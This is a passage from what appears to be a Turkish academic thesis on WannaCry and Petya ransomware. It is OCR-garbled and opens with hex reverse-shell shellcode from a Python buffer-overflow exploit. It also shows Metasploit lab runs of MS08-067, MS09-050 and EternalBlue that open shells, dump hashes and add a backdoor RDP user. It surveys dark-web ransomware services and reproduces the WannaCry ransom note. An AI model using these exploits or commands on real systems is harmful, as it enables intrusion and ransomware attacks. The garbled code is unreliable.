"\X7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"*
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51 \xf\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\X77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xfAAXxd5\x50\x50\x50\x50\x40\x50\x40\x50\x 68"
"\xea\x0f\xdf\xe0\xfA\xd5\x97\x6a\x05\x68\x0a\x05\x64\x89\x68"
"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\XfAxd5\x85\xc0\x74\x0c\xff\x4e\x08\x 75\xec\x68\xf0\xb5\xa2"
"\X56\xfAxd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4€\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xFAxd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xfF\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x 7c\x0a\x80\xfb\xe0\x75\x05\xbb "
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")

exploit = chunk + eip + nop + shellcode

s.send(exploit)

def main():

connect()

exploit()

main()
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Handler kurularak exploit Cizelge 3.4’de ki gibi ¢alistirildiginda hedefe kabuk baglantisi

saglanmis olur.
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rootgkali: # . Jjexploit.py 10.5.100.132
root@kali: |

ootakali: # nc -lvp 443

istening on [any] 443 ...

0.5.100.132: inverse host lookup failed: Unknown host
onnect to [18.5.100.137] from (UMKNOWN)} [18.5.100.132] 1043
icrosoft Windows XP [Version 5.1.2600]

C) Copyright 1985-2001 Microsoft Corp.

:\Documents and Settings\Administrator\Desktop=ipconfig
ipconfig

indows IP Configuration

thernet adapter Local Area Connection:

Connection-specific DNS Suffix .

IP Address : 10.5.100.132
Subnet Mask : 255.0.0.0
Default Gateway : 10.5.100.131

:\Documents and Settings\Administrator\Desktop=j]

Resim 3.9. Hedef sistemin ele gegirilmesi

Resim 3.9’da verilen ¢iktidan goriilecegi tizere exploit kod hedef sisteme uzaktan
gonderilerek hedef sistemde galistirilmis ve hedef sistem ele gegirilmistir [54]. WannaCry
ve Petya’da sunucu tarafli SMB ag¢ikligini kullanarak sistemlere girmektedir. Exploit
anatomisi ve c¢alisma yapist anlatilarak ileride deginilecek konular icin alt yapi

olusturulmustur.

3.4. Windows Tabanh SMB Acikliklar1 ve Exploit Ag Analizleri

WannaCry ve Petya gibi zararlilar SMB iizerinden sunucu tarafli acikliklar1 exploit ederek
ilerledigi i¢in bu baslik altinda Windows ortamlarda ¢ikan zaafiyet ve exploit kodlar
hakkinda bilgi verilerek exploit betiklerinin olusturdugu ag trafiklerinin analizi, exploit
kodlar ve exploit uygulamalar1 hakkinda gosterim ve analiz yapilacaktir. Lab ¢alismasinda
Windows Server 2003 iizerinde ms08 067, Windows Server 2008 iizerinde ms09_050 ve
ms17_10 ki bu agiklik WannaCry ve Petya tarafindan kullanilmaktadir, Windows 7 {izerinde

ms17 010 ile exploit uygulama gosterimleri yapilacaktir.
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3.4.1. SMB protokolii

SMB (Server Message Block); Tiirkge karsilig1 “Sunucu ileti Blogu” olan, sunucu ve istemci
arasindaki iletisimi saglayan bir ag protokoliidiir. SMB, dosya paylagimlarina erismede, ag,
yazict ve c¢esitli baglantilarda kullanilir. SMB varsayilanda TCP 445. portu kullanan
protokoldiir. Versiyon olarak 1 ve 3. siirtimleri mevcuttur. Resim 3.10°daki paket ¢iktisinda

SMB ile olusturulan ag trafigi goriillmektedir.

Source Destination Protocal
192.168.199.135 192.168.199.134 TCP
192.168.199.134 192.168.199.135 TCP
192.168.199.135 192.168.199.134 TCP
192.168.199.135 192.168.199.134 SMB
192.168.199.134 192.168.199.135 SMB
192.168.199.135 192.168.199.134 SMB
192.168.199.134 192.168.199.135 SMB
192.168.199,.135 192.168.199,134 SMB
192.168.199.134 192.168.199.135 SMB
192.168.199.135 192.168.199.134 TCP
192.168.199.135 192.168.199.134 SMB
192.168.199.134 192.168.199.135 SMB
192.168.199.135 192.168.199.134 SMB
192.168.199.134 192.168.199,.135 SMB
192.168.199,.135 192.168.199,134 SMB
192.168.199.134 192.168.199.135 SMB

Resim 3.10. SMB ile olusturulan ag trafigi

Protocol Length Info

TCP 66 496125445 [S¥YN] Seq=8 Win=8192 Len=8 M55=1468 W5=4 SACK_PERM=1

TCP 66 445549612 [SYN, ACK] Seq=0 Ack=1 Win=564248 Len=8 MS55=1468 WS=1 SACK
TCP 54 495125445 [ACK] Seq=1 Ack=1 Win=657@8 Len=8

SMB Megotiate Protocol Request

SMB Megotiate Protocol Response

SMB Session Setup AndX Request, NTLMSSP_MEGOTIATE

SMB Session Setup AndX Response, NTLMSSP_CHALLEMGE, Error: STATUS_MORE_P
SMB Session Setup AndX Request, NTLMSSP_AUTH, User: WIN-8PFSU220Q05L%dude
SMB Session Setup AndX Response, Error: STATUS_LOGOM_FATLURE

TCP 495125445 [ACK] Seq=796 Ack=426 Win=65272 Len=8

SMB Session Setup AndX Request, NTLMSSP_MEGOTIATE

SMB Session Setup AndX Response, NTLMSSP_CHALLEMGE, Error: STATUS_MORE_P
SMB Session Setup AndX Request, NTLMSSP_AUTH, User: 192.168.199.134%dude
SMB Session Setup AndX Response

SMB Tree Connect AndX Request, Path: 3\192.168.199.134\STUFF

SMB Tree Connect AndX Response

Resim 3.11. SMB ile olusturulan ag trafigi icerigi
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Paketlerin icerigi incelendigi zaman TCP 445 portundan ¢alistigi Resim 3.11°de goriilmekle

birlikte paket icerisinde yer alan alanlar da goriilmiistiir.

4 Transmission Control Protocol, Src Port: 445, Dst Port: 49612, Seq: 1, Ack: 168, Len:
Source Port: 445
Destination Port: 49612
[Stream index: @]
[TCP Segment Len: 89]
Sequence number: 1 (relative sequence number)
[Mext sequence number: 98 (relative sequence number)]
Acknowledgment number: 168 (relative ack number)
Header Length: 26 bytes
» Flags: @x@l8 (PSH, ACK)
Window size value: 64851
[Calculated window size: 64@881]
[Window size scaling factor: 1]
Checksum: 8x51e@ [unverified]
[Checksum Status: Unverified]
Urgent pointer: @
[SEQ/ACK analysis]
4 NetBIOS Session Service
Message Type: Session message (@x8@)
Length: 85

Resim 3.12. SMB ile olusturulan ag trafigi detayi

SMB protokoliine ait header bilgileri ise Resim 3.12°de yakalanmustir;

4 SMB (Server Message Block Protocol)
4 5MB Header

Server Compeonent: SME

Response to: 4

[Time from request: @.8808453880 seconds]

SMB Command: Negotiate Protocol (@x72)

NT Status: STATUS SUCCESS (@Bxeesoanen)

Flags: @x98, Request/Response, Canonicalized Pathnames, Case Sensitivity
Request/Response: Message is a response to the client/redirector
Motify: Motify client only on open
Oplocks: OpLock not requested/granted
Canonicalized Pathnames: Pathnames are canonicalized

Case Sensitivity: Path names are caseless
Receive Buffer Posted: Receiwve buffer has not been posted

caea s Lock and Read: Lock&Read, Write&Unlock are net supported

+ Flags2: @xcB853, Unicode 5trings, Error Code Type, Extended Security Negotiation, Long Names
Process ID High: @
Signature: GEGEEEGE0E202008
Reserved: @@ee

» Tree ID: 65535 (\\192.168.199.134\IPC§)
Process ID: 85279
User ID: @
Multiplex ID: @

* Megotiate Protocol Response (@x72)

Resim 3.13. SMB paketi [55,56]
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Server client iletisiminin saglanmasi ve dosya paylasimi gibi islemlerin bu protokol
tizerinden yapilmasindan dolay1 bu protokolde ¢ikabilecek sunucu tarafli bir zaafiyet ¢ok
onemlidir. SMB konusunda bilgi Resim 3.13’de verilmistir. Daha detayli anlatim i¢in RFC
1002’ye basvurulabilir [57].

11111 3
2123456789812 34 a
s e e e e B e e e e e e st S L

ax2a E (@x45) | G (@x47) | F (@x46)
s S T S e L Tt S S s St S S St 1
C (Bx43) E (@x45) | F (@xd8) | E (@x45)
s et e T s ut S U e
E {ex45) C (@x43) | A (@x4al) | C (@x43)
s e e e e et e e B e e s
A (Bx41) C (ex43) | A (@xdl) | C (@x43)
s e e e e B e e e e e e st S L
A (Bx41) C (ex43) | A (@x41) | C {@x43)
s S T S e L Tt S S s St S S St 1
A (Bx41) C (@x43) | A (@wx4al) | C (ex43)
s et e T s ut S U e
A (Bx41) C (@x43) | A (@x4al) | C (@x43)
s e e e e et e e B e e s
A (Bx41) C (ex43) | A (@xdl) | C (@x43)
s e e e e B e e e e e e st S L
A (BX41) Bxa7 | N (@x4E) | E (8x45)
s S T S e L Tt S S s St S S St 1
T (@x54) B (Ox42) | I (@x49) | O (@x4F)
s et e T s ut S U e
5 (Bx53) Bxe3 | C (@x43) | 0 (8x4F)
s e e e e et e e B e e s
M (ex4D) Bxae |
ke LR B T e e S et S T

1 2 2
2 7 5 8

Resim 3.14. RFC 1002 [57]

3.4.2. MS08_067 NETAPI acikhg:

Bu aciklik Microsoft igletim sistemlerinde yer alan netapi32.dll kiitiiphanesinde bulunan
NetpwPathCanonicalize fonksiyonundaki bellek tabanli tagsma hatasindan dolay1 ortaya
cikmisg, uygun exploit kod ile istismarinda ise RPC istekleri ile uzaktan kod galistirmaya
yarayan onemli bir SMB zaafiyetidir. Stack lizerindeki bellek tagmasi(buffer overflow)
aciklig1 sayesinde saldirganlar uzaktan kod calistirarak sistemi ele gecirebilmeyi

basarmaktadirlar [58].



32

Resim 3.14’de verilen uygulamada iizerinde MS08 067 agikligi olan bir sunucu ele

gecirilmistir. Uygulamada kullanilan exploit kodu Ek.4’de verilmistir.

Exploit kodun gelistirilme asamalarina daha onceki konularda deginilmistir. Exploit

kullanildiginda hedef Resim 3.14’deki gibi SMB iizerinden ele gegirilmistir.

SMB iizerinden giden paketler agsagidaki gibi yakalanmistir [59].

Protocol Length Info

SMB 213 Session Setup And¥ Request, MTLMSSF_NEGOTIATE
SMB 403 Session Setup And¥ Response, NTLMSSP_CHALLENGE, Error: STATUS_MOR..
SMB 474 Session Setup And¥ Request, NTLMSSP_AUTH, User: .\
SMB 105 Session Setup And¥ Response, Error: STATUS_LOGON_FAILURE
SMB 169 Session Setup AndX Request, User: .\
SMB 185 Session Setup And¥ Response
SMB 143 Tree Connect AndX Request, Path: “\192.163.206.131\IFCH
SMB 116 Tree Connect AndX Response
SMB 162 NT Create AndX Request, Path: \SPOOLSS
SMB 105 NT Create AndX Response, FID: Ox0000, Error: STATUS_OBJECT_MNAME_N..
SMB 162 NT Create AndX Request, FID: 0Ox4000, Path: “BROWSER
SMB 205 NT Create AndX Response, FID: 0x4000
DCERFC 689 Bind: call_id: ©, Fragment: Single, 12 context 1tems: 48d94f5d-aé..
117 Write AndX Response, FID: 0x4000, 556 bytes
129 Read AndX Request, FID: Ox4000, 51 bytes at offseft 852
181 Read AndX Response, FID: 0Ox4000, 51 bytes
129 Read AndX Request, FID: Ox4000, 395 bytes at offset 493
411 Bind_ack: call_id: O, Fragment: Single, max_xmit: 4280 max_recv:
582 Write AndX Request, FID: Ox4000, 449 bytes at offset 724
117 Write AndX Response, FID: Ox4000, 449 bytes
306 NetPathCanonicalize reguest
117 Write AndX Response, FID: Ox4000, 283 bytes

Resim 3.15. SMB trafigi

Exploit Resim 3.15°deki gibi ¢aligtirilmistir;
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Terminal

File Edit View Search Terminal Help

Exploit target:

Id Mame

B Automatic Targeting

msf exploit(ms@8 867 netapi) > exploit

Started reverse TCP handler on 192.168.206.149:4444
192.168.206.131:445 - Automatically detecting the target...
192.168.206.131:445 - Fingerprint: Windows 2803 - Service Pack 2 - lang:Unkn

.168.206.131:445 - We could not detect the language pack, defaulting to E

.168.206.131:445 - Selected Target: Windows 2083 SP2 English (NX)
.168.206.131:445 - Attempting to trigger the wvulnerability...
Sending stage (957487 bytes) to 192.168.206.131
Meterpreter session 2 opened (192.168.206.149:4444 -> 192.168.206.131:1029)
at 2017-09-01 05:11:08 -0400

meterpreter = hashdump
Administrator:500:91c7ae7122196b5eaad3b435b51404ee:22315d6ed1ar7d5fBa7c98c40e9 a2

dec:::
Guest:501:aad3b435b51404eeaad3ba35b51404ee : 31d6cTeld16ae931b73c59d7e0c089c: :
rdphacker:1003:91c7ae7122196b5eaad3b435b51404ee: 22315d6ed1a7d5f8a7c98c40e9Tazdec

SUPPORT 388945a0:1001:a3ad3b435b51404eeaad3b435b51404ee : d67058564bcB74286a55d4843
A577ebe: ::

meterpreter = shell

Process 2652 created.

Channel 1 created.

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

Resim 3.16. Exploit caligtirilmasi

Resim 3.16°daki ¢iktida goriilecegi lizere hedef basariyla ele gegirilmistir [60]. Exploit hedef
sistem lizerinde ¢aligmis ve belirlenen IP adresi lizerinden shell baglantis1 acip kars1 sistem

iizerinde komut girmenizi saglar hale gelmistir.

3.4.3. MS09_050 a¢ikhg ve exploit uygulamasi

Bu aciklik SRV2.SYS siiriiciisii lizerindeki fonksiyon tablosunun tagmasi sonucu meydana
gelmistir. SMB iizerinden 6zel olarak ayarlanmis bir paketin hedefe gonderilmesi sonucunda
hedef igletim sistemi ele gecirilmektedir. EK.5’de exploit kod verilmistir [61]. Uygulama

Server 2008 datacenter siiriimiinde yapilmustir.
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Exploit kod hedef sistem iizerinde asagidaki gibi ¢alistirilmis ve uzak masaiistii baglantisi

alimmustir.

sf exploit(ms@9 050 smb2 negotiate func_index) > exploit

Started reverse TCP handler on 192.168.206.149:4444

192.168.206.145:445 - Connecting to the target (192.168.206.145:445)...

192.168.206.145:445 - Sending the exploit packet (930 bytes)...

192.168.206.145:445 - Walting up to 180 seconds for exploit to trigger..

Sending stage (957487 bytes) to 192.168.206.145

Meterpreter session 3 opened (192.168.206.149:4444 -> 192.168.206.145:49160)
at 2017-09-01 05:59:42 -0400

hannel 1 created.
icrosoft Windows [Version 6.0.6801]
opyright (c) 2006 Microsoft Corporation. All rights reserved.

Resim 3.17. Exploit ¢alistirilmasi

Ilgili komutlar kullamlarak uzak masaiistii asagidaki gibi acilarak userx kullanicist

eklenmistir.

meterpreter > run getgui -e

Meterpreter scripts are deprecated. Try post/windows/manage/enable rdp.
Example: run pest/windows/manage/enable_rdp OPTION=value [...]
Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
Carlos Perez carlos_perez@darkoperator.com
Enabling Remote Desktop
RDP is disabled; enabling it ...
Setting Terminal Services service startup mode
Terminal Services service is already set to auto
Opening port in local firewall if necessary
For cleanup use command: run multi console command -rc froot/.msf4/logs/scri
pts/getgui/clean_up_ 20170901.2000.rc
meterpreter > shell
Process 3824 created.
Channel 3 created.
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. A1l rights reserved.

C:y\Windows\system32>net user userx passwdx /fadd

net user userx passwdx /add

The password does not meet the password policy requirements. Check the minimum p
assword length, password complexity and password history requirements.

More help is available by typing NET HELPMSG 2245,

C:y\Windows\system32>net user userx passwd12345! /add
net user userx passwdl2345! /add
The command completed successfully.

C:\Windows\system32=net localgroup "Remote Desktop Users" userx /add
net localgroup "Remote Desktop Users" userx /add
The command completed successfully.

C:\Windows\system32=}

Resim 3.18. Userx kullanici eklenmesi



35

Bu noktadan sonra exploit kullanilarak Sekil 3.2 gibi hedef ele gecirilmistir;

rdesktop - 192.168.206.145

Recycle Bin

mmand Prompt

All rights

Sekil 3.2. 2013 Veri ihlali raporuna gore kimlik bilgilerinin ¢alinma sekilleri

Hedefe gonderilen exploit kodun ag trafigi incelendiginde Sekil 3.3’deki bulgulara

ulagilmistir;

Protocol Length Info

LANMAN 176 NetServerEnum2 Request, Domain Enum

LANMAN 164 NetServerEnum2 Response

SMB 93 Tree Disconnect Request

SMB 93 Tree Disconnect Response

SMB 97 Logoff AndX Request

SMB 97 Logoff AndX Response

BROWSER 243 Host Announcement WIN-AIATC4ESOME, Workstation, Server, NT Workst..
BROWSER 258 Domain/Workgroup Announcement WORKGROUP, NT Workstation, Domain E..
BROWSER 243 Host Announcement WIN-XH3LGGS5VTUU, Workstation, Server, NT Workst..
BROWSER 243 Local Master Announcement SERVER2K-9EFECD, Workstation, Server, N..
SMB 213 Negotiate Protocol Request

SMB 143 Negotiate Protocol Response

SMB 162 Session Setup AndX Request, NTLMSSP_NEGOTIATE

SMB 455 Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MOR..
SMB 256 Session Setup AndX Request, NTLMSSP_AUTH, User: \

SMB 229 Session Setup AndX Response

SMB 154 Tree Connect AndX Request, Path: \\SERVER2K-9EFECD\IPC$

SMB 114 Tree Connect AndX Response

LANMAN 176 NetServerEnum2 Request, Workstation, Server, SQL Server, Domain C..
LANMAN 3 NetServerEnum2 Response

LANMAN NetServerEnum2 Request, Domain Enum

LANMAN 1 Response

Sekil 3.3. 2015 olay analiz sonucu
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3.4.4. MS17_010 acikhig: ve exploit gosterimi

Shadow Brokers adli saldirgan (hacker) grubu tarafindan NSA’ye ait Windows
saldiri(hacking) araglarinin sizdirilmasi ile diinyanin haberinin oldugu ag¢ikligin uzun yillar
NSA tarafindan kullanildig1 iddia edilmektedir. A¢iklik Microsoft Server Message Block
1.0 (SMBV1) iizerinde ¢alismaktadir. SMBv1 paketlerinin hedefe gonderilmesi ile beraber
exploit ¢aligmaktadir. 0. Glin agikligi kullanildig: i¢in hedefin herhangi bir izin vermesine
veya harici bir dosya yiiklemesine gerek olmadan sistem {lizerinde zararli kod ¢alismaktadir.
Zararli kodun tetiklenmesiyle beraber hedefin sistemi fidye saldirisina maruz kalmis
olmaktadir. Exploit yapisinin daha iyi anlagilabilmesi igin gergeklestirilen ¢aligsma
kismindaki analizde exploit yapisi ve ag trafigi ile alakali derinlemesine bilgi verilmektedir.
WannaCry bu agikligi kullanarak yayilmistir. Boylelikle fidye saldirilarinda 0. Giin
zaafiyetlerinin donemi baglamistir. Exploit uygulama lab Windows 7 SP1 {izerinde

yapilmustir. Exploit kod Ek.6’da [62] da detayli olarak yer almaktadir.

Exploit kodun statik analizi yapilip zararli kod irdelendikten sonra kod Resim3.19°daki gibi
calistirilarak hedef sistemin ele gegirilebildigi gosterilmistir [63];

msf exploit{msl7_010 eternalblue) = set rhost 192.168.206.144
rhost => 192.168.206.144
msf exploit(msl7_010 eternalblue) > exploit

Started reverse TCP handler on 192.168.206.149:4444
192.168.206.144:445 - Connecting to target for exploitation.
192.168.206.144:445 - Connection established for exploitation.
192.168.206.144:445 - Trying exploit with 12 Groom Allocations.
192.168.206.144:445 - Sending all but last fragment of exploit packet
192.168.206.144:445 - Starting non-paged pool grooming
192.168.206.144:445 - Sending SMBw2 buffers
.168.206.144:445 - Closing SMBvl connection creating free hole adjacent t
buffer.
.168.206.144:445 - Sending final SMBv2 buffers.
.168.206.144:445 - Sending last fragment of exploit packet!
.168.206.144:445 - Receiving response from exploit packet
.168.206.144:445 - ETERNALBLUE overwrite completed successfully (0xCO0008

168,206, 144:445 - Sendlng egg to corrupted connection.
.168.206.144:445 - Triggering free of corrupted buffer.
Command shell session 4 opened (192.168.206.149:4444 -> 192.168.206.144:4916
7) at 2017-89-01 06:42:35 -0400
192.168.206.144:445 -

192.168.206.144.:445 -

192.168.206.144:445 -

icrosoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32=]]

Resim 3.19. Exploit kodun aktif edilmesi
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Sistem ele gegcirilirken elde edilen ag trafigi Resim 3.20” de verilmistir;

Length Info
243 Host Announcement WIN-AIATC4ESSOME, Workstation, Server, MNT Workst..
258 Domaln/Workgroup Announcement WORKGROUP, MT Workstatilion, Domain E..
117 Megotiate Frotocol Request
197 Megotiate Frotocol Response
206 Session Setup AndX Request, User: anonymous
263 Session Setup AndX Response
143 Tree Connect AndX Request, Path: “\192 168.206.144\IFC3
124 Tree Connect AndX Response
1150 NT Trans Request, <unknown=
105 NT Trans Response, <unknown (@)=
7306 Trans2 Secondary Request
7306 Trans2 Secondary Request[Malformed Packet]TransZ Secondary Regues..
119 Echo Response
117 Wegotiate Protocol Request
197 Megotlate Protocol Response
151 Sessilon Setup AndX Request
263 Session Setup AndX Response
117 Megotiate Frotocol Request
197 Megotiate Frotocol Response
151 Session Setup AndX Request
187 Session Setup AndX Response
4219 Trans2 Secondary Request[Malformed Packet]

1R8 Trane? RPochnnncaciinlnaums Errnr: QTATIIC ThWAL TR PARAMETER =

Resim 3.20. Sistem ele gegirilirken elde edilen ag trafigi

Gergeklestirilen kontrollii test calismasiyla ag lizerinde olusan trafik kayit edilmistir. Alinan
ag paket ornekleri tezin ilerleyen boliimlerinde yer alan derinlemesine analiz ¢alismalarinda
kullanilmigtir. Statik ve dinamik analiz ¢calismalarinda elde edilen sonuclar Tez’in kisisel,
kurumsal ve ulusal Onlemler konusunda yapilan agiklamalar1 igeren ki Onerilerde

kullanilmustir.

3.5. Fidye Yazilhmlar: ve Yapilan Saldirilar (Ransomware)

Fidye yazilimlan kullanic1 ya da servis tarafli agikliklar1 kullanan, baz1 6zel durumlarda
sosyal miihendislik teknikleri ile zararli yazilimin tiklanilmasiyla, kisilerin bilgilerini
sifreleyerek kisilerden fidye talep eden yazilimlara verilen genel isimlendirmedir. Oltalama
(Phishing) ya da sosyal miihendislik saldirilariyla kullanildigi zaman son kullanicinin bir
dosyaya tiklamasi gerekmektedir. WannaCry’in diinya genelinde etkisinin bu kadar ¢ok
olmasi ve o zamana kadar alinan 6nlemlerin etkisiz kalmasinin en 6nemli sebebi ise, 0. Giin
aciklig1 ile beraber, ek bir yontem gerektirmeden, hedefin bir sey yliklemesi veya izin
vermesine gerek kalmadan bulasabilmesi ve kullanici farkina varmadan kullanilan sistemi
ele gecirebilmesidir. Sunucu tarafli bir exploit kod ile yayilan WannaCry diger fidye
yazilimlarindan bu 6zelligiyle cok daha tehlikeli bir duruma gelmektedir. Bir bagka deyisle
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sunucu tarafli yayildigi zaman kullanici etkilesimine dahi girmeden giivenlik agikligindan
yararlanir. WannaCry ile fidye yazilimlarinda yeni bir devir agilmistir. Bu devrin Petya fidye

yazilimi ile devam ettigi diisiiniilmektedir.

3.5.1. Deep web’de fidye saldirilari

Deep web kavrami, herkesin kolaylikla erigemedigi, internetin en alt katmani olarak
nitelendirilen internet ortamidir. Fidye saldirilari da diger siber saldirilarda oldugu gibi Deep
web de pazar bulmaktadir. TOR agi {izerinden bedava, parali ya da servis hizmeti veren fidye
saldirilar siteleri arastirilmistir. ilk olarak hiddenwiki web sitesi incelenmistir. Satan adli
fidye saldirist servisi incelendiginde ilgili web sitesi iizerinden fidye saldirilarinin

paylasildigr goriilmektedir [28].

Bagka bir adreste Resim 3.21°den goriilebilecegi gibi onion yapisi iizerinden NemeSIS isimli

fidye saldir1 servisinin kullanilabildigi goriilmektedir.

@ ﬁ" i Iﬂrectnr-,-v Bplzm.onion I
* http: .onion/
» hittp: .onion/ _
« hittp: enion/ Decryption Service
« http: .onion/

Resim 3.21. Fidye yazilimi servis saglayici [64]

Ranion isimli web sitesinde, parali ve parasiz versiyonlara sahip bir fidye yazilimi saticisi
tespit edilmistir. Parali modelde, kullanic1 paneli ve fidye saldirilarinda kullanilmak tizere
komuta kontrol sunucusu ve iz kaybettirmeye yarayan ara sunucularinda verilen hizmette
yer aldigr gorilmektedir. Kolaylikla komuta kontrol sunucusu hedef kullanict ig¢in
kurulmakta ve saldirilariniz i¢in uygun ortam olusturulmaktadir. 1 yillik 900 dolar olan ve
hangi 6zellikleri kapsadigi Resim 3.22°de yer alan sitede her istediginiz 6zellik i¢in ticrete

karsilik ilgili ayarlama yapilmaktadir [65].
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Qo

-= CHOOSE YOUR PACKAGE =-

Resim 3.22. Fidye yazilimi servis saglayicisi ticretleri

Deep web’de zararli yazilimlarin bulunmasi i¢in kullanilan arama motorlarindan biri de
torch’tur [66]. Torch arama motoru kullanilarak WannaCry ve fidye yazilimlari aratilmistir.
Ilgili arama sonucunda farkl 6zelliklerde hizmet sunan birgok site oldugu gériilmiistiir. Ayni
arama NotEvil arama motoru ile tekrarlanmis ve farkli 6zelliklerde sunulan fidye yazilimi
hizmetleri hakkinda bilgiler elde edilmistir [67].

Iki arama motoru sonuglari karsilastirildiginda raasberry adindaki fidye yazilim servisinin
etkin bir sekilde kullanildig:r goriilmiistiir. Bu servis komuta kontrol sistemi panel gibi
kolayliklar saglamaktadir. Ayrica Ispanya, Hindistan, Arap iilkeleri, Rusya gibi iilkelerden
yogun talep oldugu arastirmalarda goriilmiistiir [68]. Yine deep web arama 6zelliklerinden
olan “Hidden Answers” basligi altinda fidye yazilimlarina iligkin aramalar yapilmis olup

elde edilen sonuglarin ortiistigii gorillmistiir [69].

Saldirganlarin ¢ogunlukla kullandigi Deep Web {izerinden gergeklestirilen arastirmalar
neticesinde fidye yazilimlarinin kolaylikla satin alinabildigi ve istenildigi gibi konfigiire
edilerek kullanilabildigi goriilmiistiir. Bu durumda artik siber saldirilarin teknik altyapisi

olmayan bir¢ok insan tarafindan da kolaylikla yapilabildigini gostermistir.
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Fidye saldirilarinin ¢aligma mantigini ve zararli kod dizisinin ozelliklerini gostermek
saldirilart 6nlemek i¢in en 6nemli adimlardandir. Bu amagla tezin devam eden boliimlerinde
sirastyla WannaCry zararli yazilimi ve Petya zararli yaziliminin dinamik ve statik analizi

yapilmustir.
3.5.2. Zararh yazihm analizi basamaklari

Zararl1 yazilim analizi 4 ana baslik altinda yapilabilmektedir [12,38]. Temel dinamik analiz,
temel statik analiz, ileri seviye dinamik analiz ileri seviye statik analizlerdir. Temel dinamik
analiz esnasinda zararli yazilim galistirilarak davranislarina bakilir. Olusturdugu ag trafigi,
islem yaptig1 siirecler ve dosyalar, degisiklik yaptig1 registery kayitlari gibi veriler baz alinir.
Temel statik analiz yontemlerinde ise PE basligi, import edilen DLL dosyalari, paketlenme
durumlari, dosya icinde gecen stringler incelenmektedir. Ileri seviye analizlerde debugger
kullanilmaktadir. Dinamik analizde zararli yazilim tersine miihendislik ile agilarak belli
duraksama noktalari konulmaktadir. Debugger tizerinden davranig analizi yapilmaktadir.
lleri statik analizde ise zararli yazilim ¢alistirilmadan debugger iizerinden analiz

yapilmaktadir.
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4. WANNACRY ANALIZI VE CALISMA MEKANIZMASI

4.1. WannaCry

WannaCry fidye yazilimi, ilk olarak 11 Mayis 2017 tarihinde Rusya’nin Cheboksary sehrinde
goriilmiis ve ardindan tiim diinyaya yayilmaya baslamigtir. 120 iilkede 230.000’den fazla
bilgisayara bulasarak 28 dilde fidye talep eden genis ¢apli bir siber saldir1 olarak kabul
edilmistir. Etkileri Rusya Federasyonu, Ukrayna, Hindistan, Tayvan, Tacikistan, Kazakistan,
Liikksemburg, Cin, Romanya, Vietnam, Italya, Brezilya, Hong Kong, Iran, Ispanya ve

A.B.D.’nin de dahil oldugu 120 farkli tilkede goriilmiistiir.

Global alanda etkilenen bazi kurumlar asagidaki gibi siralanabilir.
« Ingiltere: NHS

« Ispanya: Telefonica

e Amerika Birlesik Devletleri: FedEX

o Amerika Birlesik Devletleri: Waterloo Universitesi

« Rusya: Rusya Icisleri Bakanlig1

e Rusya :Coepa Bank

« Hindistan: Shaheen Airlines

e Almanya: Frankfurt ren istasyonu

« Almanya: Neustadt Istasyonu

Internet tarihinde genis capta yapilan en biiyiik fidye saldirisi olarak kabul edilen WannaCry
saldirisi, Microsoft Windows isletim sisteminin SMB servisinin zaafiyetinden (MS17_010)
yararlanarak bulastig1 sistemdeki 6nemli dosyalar1 sifrelemekte ve 300 dolar (bitcoin) fidye

talep etmektedir.
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Ooops, your files have been encrypted!

What Happened to My Computer?
Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service.
Payment will be raised on .

sy Can I Recover My Files?

5/16/2017 00:47:55 Sure. We guarantee that you can recover all your files safely and easily. But you have

not so enough time.
Time Left You can decrypt some of your files for free. Try now by clicking <Decrypt>.
But if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
il Also, if you don't pay in 7 days, you won't be able to recover your files forever.
il We will have free events for users who are so poor that they couldn’t pay in 6 months.
Your files will be lost on

1l How Do I Pay?
Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>.
And send the correct amount to the address specified in this window.
After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am

Pl VLN RV P POy Sy (SR

5/20/2017 00:47:55

Time Left

Send $300 worth of bitcoin to this address
bitcoin i
prievtia [1219YDPgwueZ9NyMgw519p7AABISjr6 SMw
L | Checkpayment [N Deeypt

Resim 4.1. WannaCry talep ekrani goriintiisii

4.2. WannaCry Fidye Yazilim Incelemesi

Bu boliimde WannaCry yaziliminin teknik agidan incelemesi yer almaktadir. Resim 4.1°de
WannaCry zararli yazilimim imza ve bigim bilgileri, mekanizmasi, saldirinin dagilma ve
yayilma siireci, tespit edilebilir imza davraniglar1 ve sifreleme aksiyonlari, ransomware saldirt
modelleri ile WannaCry saldirt yaklasimi arasindaki fark ve benzerlikleri, sifrelenen dosyanin

¢ozlimil bu alanda detayli olarak agiklanmustir.
4.2.1. Zararh dosya bilgileri

Asagida WannaCry saldirilarinda kullanilan zararli dosyalarin teknik incelemeleri
